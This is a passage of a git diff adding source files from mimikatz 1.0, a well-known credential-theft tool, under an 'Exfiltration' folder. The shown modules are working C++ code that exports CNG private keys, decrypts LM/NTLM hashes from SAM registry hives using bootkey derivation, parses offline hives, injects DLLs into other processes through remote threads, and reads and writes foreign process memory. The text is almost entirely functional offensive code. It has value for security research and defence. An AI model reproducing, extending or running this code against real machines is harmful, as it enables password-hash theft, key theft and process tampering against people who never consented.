+ monVectorContainers->push_back(pKeyName->pszName);
+ K_NCryptFreeBuffer(pKeyName);
+ }
+ reussite = (retour == NTE_NO_MORE_ITEMS);
+
+ if(pEnumState)
+ K_NCryptFreeBuffer(pEnumState);
+ K_NCryptFreeObject(hProvider);
+ }
+
+ return reussite;
+}
+
+bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine)
+{
+ bool reussite = false;
+ NCRYPT_PROV_HANDLE hProvider;
+
+ if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
+ {
+ reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS;
+ K_NCryptFreeObject(hProvider);
+ }
+
+ return reussite;
+}
+
+
+
+bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize)
+{
+ DWORD tailleEcrite = 0;
+ return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD));
+}
+
+
+bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable)
+{
+ bool reussite = false;
+ DWORD tailleEcrite = 0, exportability = 0;
+
+ if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)))
+ {
+ *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0;
+ }
+ return reussite;
+}
+
+bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType)
+{
+ SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0);
+ if(monRetour == ERROR_SUCCESS)
+ {
+ *monExport = new BYTE[*tailleExport];
+ monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0);
+
+ if(monRetour != ERROR_SUCCESS)
+ delete[] monExport;
+ }
+ SetLastError(monRetour);
+ return (monRetour == ERROR_SUCCESS);
+}
+
+
+bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject)
+{
+ return (K_NCryptFreeObject(hObject) == 0);
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h
new file mode 100644
index 0000000..3eec5b6
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h
@@ -0,0 +1,24 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <bcrypt.h>
+#include <sstream>
+
+class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */
+{
+public:
+ static bool getVectorProviders(vector<wstring> * monVectorProviders);
+ static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false);
+ static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false);
+ static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize);
+ static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable);
+ static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB);
+ static bool NCryptFreeObject(NCRYPT_HANDLE hObject);
+
+ static bool isNcrypt;
+ static bool justInitCNG(LPCWSTR pszProviderName = NULL);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp
new file mode 100644
index 0000000..fe32c49
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp
@@ -0,0 +1,150 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_hash.h"
+
+PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006"));
+PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007"));
+PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString"));
+PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
+PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString"));
+
+bool mod_hash::lm(wstring * chaine, wstring * hash)
+{
+ bool status = false;
+ UNICODE_STRING maChaine;
+ OEM_STRING maDestination;
+ BYTE monTab[16];
+
+ RtlInitUnicodeString(&maChaine, chaine->c_str());
+ if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE)))
+ {
+ if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab)))
+ hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
+
+ RtlFreeOemString(&maDestination);
+ }
+ return status;
+}
+
+bool mod_hash::ntlm(wstring * chaine, wstring * hash)
+{
+ bool status = false;
+ UNICODE_STRING maChaine;
+ BYTE monTab[16];
+
+ RtlInitUnicodeString(&maChaine, chaine->c_str());
+ if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab)))
+ hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
+ return status;
+}
+
+void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10])
+{
+ BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04};
+ for(unsigned int i = 0; i < 0x10; i++)
+ bootkey[i] = key[permut[i]];
+}
+
+bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF)
+{
+ bool reussite = false;
+ unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
+ unsigned char num[] = "0123456789012345678901234567890123456789";
+
+ HCRYPTPROV hCryptProv = NULL;
+ HCRYPTHASH hHash = NULL;
+ if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
+ {
+ BYTE md5hash[0x10] = {0};
+ DWORD dwHashDataLen = sizeof(md5hash);
+ CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
+ CryptHashData(hHash, AccountsF + 0x70, 0x10, 0);
+ CryptHashData(hHash, qwe, sizeof(qwe), 0);
+ CryptHashData(hHash, bootKey, 0x10, 0);
+ CryptHashData(hHash, num, sizeof(num), 0);
+ CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
+ CryptDestroyHash(hHash);
+ CryptReleaseContext(hCryptProv, 0);
+ reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10);
+ }
+ return reussite;
+}
+
+bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm)
+{
+ bool reussite = false;
+ unsigned char ntpassword[] = "NTPASSWORD";
+ unsigned char lmpassword[] = "LMPASSWORD";
+
+ BYTE obfkey[0x10];
+ BYTE mes2CleDES[0x10];
+
+ if(encHash->lenght == 0x10 + 4)
+ {
+ HCRYPTPROV hCryptProv = NULL;
+ HCRYPTHASH hHash = NULL;
+ if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
+ {
+ BYTE md5hash[0x10] = {0};
+ DWORD dwHashDataLen = 0x10;
+ CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
+ CryptHashData(hHash, hBootKey, 0x10, 0);
+ CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0);
+ CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0);
+ CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
+ CryptDestroyHash(hHash);
+
+ CryptReleaseContext(hCryptProv, 0);
+
+ if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10))
+ {
+ sid_to_key1(rid, mes2CleDES);
+ sid_to_key2(rid, mes2CleDES + 8);
+
+ reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) &&
+ mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES);
+ }
+ }
+ }
+ hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L"");
+
+ return reussite;
+}
+
+void mod_hash::str_to_key(BYTE *str, BYTE *key)
+{
+ key[0] = str[0] >> 1;
+ key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2);
+ key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3);
+ key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4);
+ key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5);
+ key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6);
+ key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7);
+ key[7] = str[6] & 0x7f;
+ for (DWORD i = 0; i < 8; i++)
+ key[i] = (key[i] << 1);
+}
+
+void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8])
+{
+ unsigned char s[7];
+ s[0] = s[4] = (unsigned char)((sid) & 0xff);
+ s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff);
+ s[2] = s[6] = (unsigned char)((sid >>16) & 0xff);
+ s[3] = (unsigned char)((sid >>24) & 0xff);
+ str_to_key(s, deskey);
+}
+
+void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8])
+{
+ unsigned char s[7];
+
+ s[0] = s[4] = (unsigned char)((sid >>24) & 0xff);
+ s[1] = s[5] = (unsigned char)((sid) & 0xff);
+ s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff);
+ s[3] = (unsigned char)((sid >>16) & 0xff);
+ str_to_key(s, deskey);
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h
new file mode 100644
index 0000000..19d7c44
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h
@@ -0,0 +1,81 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_text.h"
+#include "mod_crypto.h"
+
+class mod_hash
+{
+private:
+ static PSYSTEM_FUNCTION_006 SystemFunction006;
+ static PSYSTEM_FUNCTION_007 SystemFunction007;
+ static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString;
+ static PRTL_INIT_UNICODESTRING RtlInitUnicodeString;
+ static PRTL_FREE_OEM_STRING RtlFreeOemString;
+
+public:
+ typedef enum _KIWI_HASH_TYPE
+ {
+ LM,
+ NTLM
+ } KIWI_HASH_TYPE;
+
+ typedef struct _SAM_ENTRY {
+ DWORD offset;
+ DWORD lenght;
+ DWORD unk;
+} SAM_ENTRY, *PSAM_SENTRY;
+
+ typedef struct _OLD_LARGE_INTEGER {
+ unsigned long LowPart;
+ long HighPart;
+ } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
+
+ typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823
+ DWORD unk0_header;
+ DWORD align;
+ OLD_LARGE_INTEGER LastLogon;
+ OLD_LARGE_INTEGER LastLogoff;
+ OLD_LARGE_INTEGER PasswordLastSet;
+ OLD_LARGE_INTEGER AccountExpires;
+ OLD_LARGE_INTEGER PasswordMustChange;
+ unsigned long UserId;
+ unsigned long unk1;
+ unsigned long UserAccountControl;
+ } USER_F, *PUSER_F;
+
+ typedef struct _USER_V {
+ SAM_ENTRY unk0;
+ SAM_ENTRY Username;
+ SAM_ENTRY Fullname;
+ SAM_ENTRY Comment;
+ SAM_ENTRY UserComment;
+ SAM_ENTRY unk1;
+ SAM_ENTRY Homedir;
+ SAM_ENTRY Homedirconnect;
+ SAM_ENTRY Scriptpath;
+ SAM_ENTRY Profilepath;
+ SAM_ENTRY Workstations;
+ SAM_ENTRY HoursAllowed;
+ SAM_ENTRY unk2;
+ SAM_ENTRY LM;
+ SAM_ENTRY NTLM;
+ SAM_ENTRY unk3;
+ SAM_ENTRY unk4;
+ BYTE datas;
+ } USER_V, *PUSER_V;
+
+ static bool lm(wstring * chaine, wstring * hash);
+ static bool ntlm(wstring * chaine, wstring * hash);
+
+ static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]);
+ static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF);
+ static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm);
+ static void str_to_key(BYTE *str, BYTE *key);
+ static void sid_to_key1(DWORD sid, BYTE deskey[8]);
+ static void sid_to_key2(DWORD sid, BYTE deskey[8]);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp
new file mode 100644
index 0000000..a0e79cd
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp
@@ -0,0 +1,242 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_hive.h"
+
+mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset )
+{
+ memcpy(nk, h->base + offset + 4, sizeof(nk_hdr));
+ nk->key_name = (h->base + offset + 4 + 76);
+ return nk;
+}
+
+mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset )
+{
+ memcpy(lf, h->base+offset+4, sizeof(lf_hdr));
+ lf->hr = (h->base+offset+4+4);
+ return lf;
+}
+
+mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset )
+{
+ memcpy(vk, h->base+offset+4, sizeof(vk_hdr));
+ vk->value_name = (h->base+offset+4+20);
+ return vk;
+}
+
+int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size )
+{
+ memcpy(value, h->base+offset+4, size*sizeof(int));
+ return value;
+}
+
+mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index )
+{
+ pos+=(8*index);
+ memcpy(hr, pos, sizeof(hashrecord));
+ return hr;
+}
+
+
+unsigned char* mod_hive::read_data(hive *h, int offset )
+{
+ return ((unsigned char*) (h->base + offset + 4));
+}
+
+bool mod_hive::InitHive(hive *h)
+{
+ h->base = NULL;
+ return true;
+}
+
+bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h)
+{
+ bool reussite = false;
+ FILE *hiveh;
+ unsigned long hsize;
+
+ if(_wfopen_s(&hiveh, filename, L"rb" ) == 0)
+ {
+ if(fseek(hiveh, 0, SEEK_END) == 0)
+ {
+ hsize = ftell(hiveh);
+ h->base = new unsigned char[hsize];
+ fseek(hiveh, 0, SEEK_SET);
+
+ if(fread(h->base, hsize, 1, hiveh) == 1)
+ {
+ reussite = *((int *)h->base) == 0x66676572;
+ }
+ }
+ fclose(hiveh);
+ }
+ return reussite;
+}
+
+bool mod_hive::RegCloseHive(hive *h )
+{
+ if(h->base != NULL)
+ {
+ delete[] h->base;
+ }
+ return true;
+}
+
+
+long mod_hive::parself(hive *h, char *t, unsigned long off )
+{
+ nk_hdr *n;
+ lf_hdr *l;
+ hashrecord *hr;
+
+ int i;
+
+ hr = (hashrecord*) malloc(sizeof(hashrecord));
+ n = (nk_hdr*) malloc(sizeof(nk_hdr));
+ l = (lf_hdr*) malloc(sizeof(lf_hdr));
+ l = read_lf(l, h, off );
+
+ for(i = 0; i < l->key_num; i++ )
+ {
+ hr = read_hr(hr, l->hr, i);
+ n = read_nk(n, h, hr->nk_offset + 0x1000 );
+ if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len))
+ {
+ free(n);
+ free(l);
+ return hr->nk_offset;
+ }
+ }
+ free(n);
+ free(l);
+ return -1;
+}
+
+bool mod_hive::RegGetRootKey(hive *h, string *root_key)
+{
+ bool reussite = false;
+ nk_hdr * n = new nk_hdr();
+ read_nk(n, h, 0x1020);
+ if (n->id == NK_ID && n->type == NK_ROOT)
+ {
+ root_key->assign((const char *) n->key_name, n->name_len);
+ reussite = true;
+ }
+ delete n;
+ return reussite;
+}
+
+bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr)
+{
+ bool reussite = false;
+
+ nk_hdr *n = new nk_hdr();
+ char *t, *tpath;
+ unsigned long noff = 0;
+
+ read_nk(n, h, 0x1020);
+
+ if(n->id == NK_ID && n->type == NK_ROOT)
+ {
+ tpath = strdup(path->c_str());
+ t = strtok(tpath, "\\");
+
+ if(!memcmp(t, n->key_name, n->name_len))
+ {
+ t = strtok(NULL, "\\");
+ while(t != NULL)
+ {
+ noff = parself(h, t, n->lf_off + 0x1000);
+ if(noff != -1)
+ {
+ read_nk(n, h, noff + 0x1000);
+ t = strtok( NULL, "\\" );
+ }
+ else
+ {
+ break;
+ }
+ }
+
+ if(t == NULL && noff != 1)
+ {
+ memcpy(*nr, n, sizeof(nk_hdr));
+ reussite = true;
+ }
+ }
+ free(tpath);
+ }
+
+ delete n;
+ return reussite;
+}
+
+bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len )
+{
+ bool reussite = false;
+
+ vk_hdr *v = new vk_hdr();
+ int * l = new int[nr->value_cnt];
+
+ read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt);
+
+ for(unsigned int i = 0; i < nr->value_cnt; i++)
+ {
+ read_vk(v, h, l[i] + 0x1000);
+ if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0))
+ {
+ *len = v->data_len & 0x0000FFFF;
+ *buff = new unsigned char[*len];
+ if (*len < 5)
+ {
+ memcpy(*buff, &(v->data_off), *len);
+ }
+ else
+ {
+ memcpy(*buff, read_data(h, v->data_off + 0x1000), *len);
+ }
+ reussite = true;
+ break;
+ }
+ }
+ delete[] l;
+ delete v;
+ return reussite;
+}
+
+bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len)
+{
+ bool reussite = false;
+ mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr();
+ if(mod_hive::RegOpenKey(h, path, &nodeKey))
+ {
+ reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len);
+ }
+ delete nodeKey;
+ return reussite;
+}
+
+
+
+bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names)
+{
+ int index = 0;
+
+ lf_hdr *lf = new lf_hdr();
+ nk_hdr *nk = new nk_hdr();
+ hashrecord *hr = new hashrecord();
+
+ while(index < nr->subkey_num)
+ {
+ lf = read_lf(lf, h, nr->lf_off + 0x1000 );
+ hr = read_hr(hr, lf->hr, index);
+ nk = read_nk(nk, h, hr->nk_offset + 0x1000 );
+ names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len));
+ index++;
+ }
+
+ delete lf, nk, hr;
+ return !names->empty();
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h
new file mode 100644
index 0000000..527a154
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h
@@ -0,0 +1,88 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+using namespace std;
+
+#define NK_ID 0x6B6E
+#define NK_ROOT 0x2c
+#define LF_ID 0x666C
+
+class mod_hive
+{
+public:
+ typedef struct _hive
+ {
+ unsigned char *base;
+ } hive;
+
+ typedef struct _nk_hdr
+ {
+ short int id;
+ short int type;
+ int t1, t2;
+ int unk1;
+ int parent_off;
+ int subkey_num;
+ int unk2;
+ int lf_off;
+ int unk3;
+ /* unsigned */
+ unsigned int value_cnt;
+ int value_off;
+ int sk_off;
+ int classname_off;
+ int unk4[4];
+ int unk5;
+ short int name_len;
+ short int classname_len;
+ unsigned char *key_name;
+ } nk_hdr;
+
+ typedef struct _hashrecord
+ {
+ int nk_offset;
+ char keyname[4];
+ } hashrecord;
+
+ typedef struct _lf_hdr
+ {
+ short int id;
+ short int key_num;
+ unsigned char *hr;
+ } lf_hdr;
+
+ typedef struct _vk_hdr
+ {
+ short int id;
+ short int name_len;
+ int data_len;
+ int data_off;
+ int data_type;
+ short int flag;
+ short int unk1;
+ unsigned char *value_name;
+ } vk_hdr;
+
+ static bool InitHive(hive *h);
+ static bool RegOpenHive(const wchar_t * filename, hive *h);
+ static bool RegCloseHive(hive *h);
+ static bool RegGetRootKey(hive *h, string *root_key);
+ static bool RegOpenKey(hive *h, string *path, nk_hdr **nr);
+ static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len);
+ static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len);
+ static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names);
+
+ static long parself(hive *h, char *t, unsigned long off);
+ static unsigned char* read_data(hive *h, int offset);
+private:
+ static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset);
+ static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset);
+ static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset);
+ static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index);
+ static int* read_valuevector(int *value, hive *h, int offset, int size);
+
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp
new file mode 100644
index 0000000..2547a2d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp
@@ -0,0 +1,72 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_inject.h"
+
+bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath)
+{
+ bool reussite = false;
+
+ wstring maLibComplete = L"";
+ if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete))
+ {
+ bool fileExist = false;
+ if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist)
+ {
+ SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t));
+
+ if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
+ {
+ if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess))
+ {
+ PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"));
+ HANDLE hRemoteThread = INVALID_HANDLE_VALUE;
+
+ if(mod_system::GLOB_Version.dwMajorVersion > 5)
+ {
+ PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
+ SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL));
+ }
+ else
+ {
+ hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL);
+ }
+
+ if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE)
+ {
+ WaitForSingleObject(hRemoteThread, INFINITE);
+ reussite = true;
+ CloseHandle(hRemoteThread);
+ }
+ }
+ VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE);
+ }
+ }
+ }
+ return reussite;
+}
+
+bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath)
+{
+ bool reussite = false;
+ if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
+ {
+ reussite = injectLibraryInHandle(processHandle, fullLibraryPath);
+ CloseHandle(processHandle);
+ }
+ return reussite;
+}
+
+bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath)
+{
+ bool reussite = false;
+
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ if(mod_process::getUniqueForName(&monProcess, &processName))
+ {
+ reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath);
+ }
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h
new file mode 100644
index 0000000..a0f77d8
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h
@@ -0,0 +1,19 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_memory.h"
+#include "mod_system.h"
+#include "mod_process.h"
+
+class mod_inject
+{
+public:
+ static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath);
+ static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath);
+ static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp
new file mode 100644
index 0000000..1e2ba8e
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp
@@ -0,0 +1,140 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_memory.h"
+
+bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess)
+{
+ if(handleProcess == INVALID_HANDLE_VALUE)
+ {
+ return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0);
+ }
+ else
+ {
+ SIZE_T dwBytesRead = 0;
+ return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur));
+ }
+}
+
+bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess)
+{
+ bool reussite = false;
+ DWORD OldProtect, OldProtect2;
+
+ if(handleProcess == INVALID_HANDLE_VALUE)
+ {
+ if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
+ {
+ reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0);
+ VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2);
+ }
+ }
+ else
+ {
+ if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
+ {
+ SIZE_T dwBytesWrite = 0;
+ reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur));
+ VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2);
+ }
+ }
+
+ return reussite;
+}
+
+
+bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess)
+{
